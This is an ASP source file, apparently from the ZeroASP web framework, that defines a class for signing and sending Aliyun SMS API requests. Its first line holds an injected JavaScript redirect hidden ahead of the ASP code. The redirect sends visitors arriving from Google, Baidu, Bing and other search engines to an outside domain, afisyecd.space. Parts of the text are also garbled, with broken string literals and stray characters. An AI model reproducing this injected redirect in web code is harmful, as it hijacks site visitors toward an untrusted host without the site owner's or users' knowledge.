d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Aliyun.Sms.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002:
'######################################################################
003:
'## ZeroASP.Aliyun.Sms.asp
004:
'## -------------------------------------------------------------------
005:
'## Feature : ZeroASP Class
006:
'## Author : Ayu(kinsc@139.com)
007:
'## Update Date : 2018-11-09
008:
'## Description : ZeroASP Extend Class
009:
'##
010:
'######################################################################
011:
012:
Class ZeroASP_Aliyun_Sms
013:
014:
Private Sub Class_Initialize()
015:
Dim ZeroASP_Aliyun_Sms
016:
ZeroASP_Aliyun_Sms = "ZeroASP应用框架 - 扩展?
017:
End Sub
018:
019:
'POP特殊协议规则
020:
Public Function POPUrlEncode(ByVal UrlStr)
021:
Dim Str
022:
Str = Server.URLEncode(UrlStr)
023:
Str = Replace(Str,"%5F","_")
024:
Str = Replace(Str,"%2D","-")
025:
Str = Replace(Str,"%2E",".")
026:
Str = Replace(Str,"+","%20")
027:
Str = Replace(Str,"*","%2A")
028:
Str = Replace(Str,"%7E","~")
029:
POPUrlEncode = Str
030:
End Function
031:
032:
Public Function SendSms(ByVal AccessKeyId,ByVal AccessKeySecret,ByVal PhoneNumbers,ByVal SignName,ByVal TemplateCode,ByVal TemplateParam,ByVal OutId)
033:
Dim Domain,Timestamp,Format,SignatureMethod,SignatureVersion,SignatureNonce,Action,Version,RegionId
034:
Domain = "http://dysmsapi.aliyuncs.com/"
035:
Dim Times,NewTimes
036:
Times = Zasp.Times.ToUnixTime(Now(),0) '标准时间转换为UNIX时间?
037:
NewTimes = Zasp.Times.UnixTimeTo(Times,-8) 'UNIX时间戳转换为标准时间
038:
Timestamp = Year(NewTimes) & "-" & Right("0" & Month(NewTimes),2) & "-" & Right("0" & Day(NewTimes),2) & "T" & Right("0" & Hour(NewTimes),2) & ":" & Right("0" & Minute(NewTimes),2) & ":" & Right("0" & Second(NewTimes),2) & "Z"
039:
Format = "JSON"
040:
SignatureMethod = "HMAC-SHA1"
041:
SignatureVersion = "1.0"
042:
SignatureNonce = Zasp.Base.RndEChar(32)
043:
Action = "SendSms"
044:
Version = "2017-05-25"
045:
RegionId = "cn-hangzhou"
046:
Dim DataTemp
047:
DataTemp = Array("AccessKeyId=" & POPUrlEncode(AccessKeyId) & "","Timestamp=" & POPUrlEncode(Timestamp) & "","Format=" & POPUrlEncode(Format) & "","SignatureMethod=" & POPUrlEncode(SignatureMethod) & "","SignatureVersion=" & POPUrlEncode(SignatureVersion) & "","SignatureNonce=" & POPUrlEncode(SignatureNonce) & "","Action=" & POPUrlEncode(Action) & "","Version=" & POPUrlEncode(Version) & "","RegionId=" & POPUrlEncode(RegionId) & "","PhoneNumbers=" & POPUrlEncode(PhoneNumbers) & "","SignName=" & POPUrlEncode(SignName) & "","TemplateCode=" & POPUrlEncode(TemplateCode) & "","TemplateParam=" & POPUrlEncode(TemplateParam) & "","OutId=" & POPUrlEncode(OutId))
048:
Data = Zasp.Base.SortPara(DataTemp,UBound(DataTemp),"&")
049:
Dim Sign
050:
Sign = "GET&" & POPUrlEncode("/") & "&" & POPUrlEncode(Data)
051:
Sign = POPUrlEncode(Zasp.Encrypt.ZHMACSHA1(Sign,AccessKeySecret & "&","Base64"))
052:
SendSms = Zasp.XmlHttp.GetHTTPSend(Domain & "?Signature=" & Sign & "&" & Data,"UTF-8")
053:
End Function
054:
055:
End Class
056:
%
>
057:
058: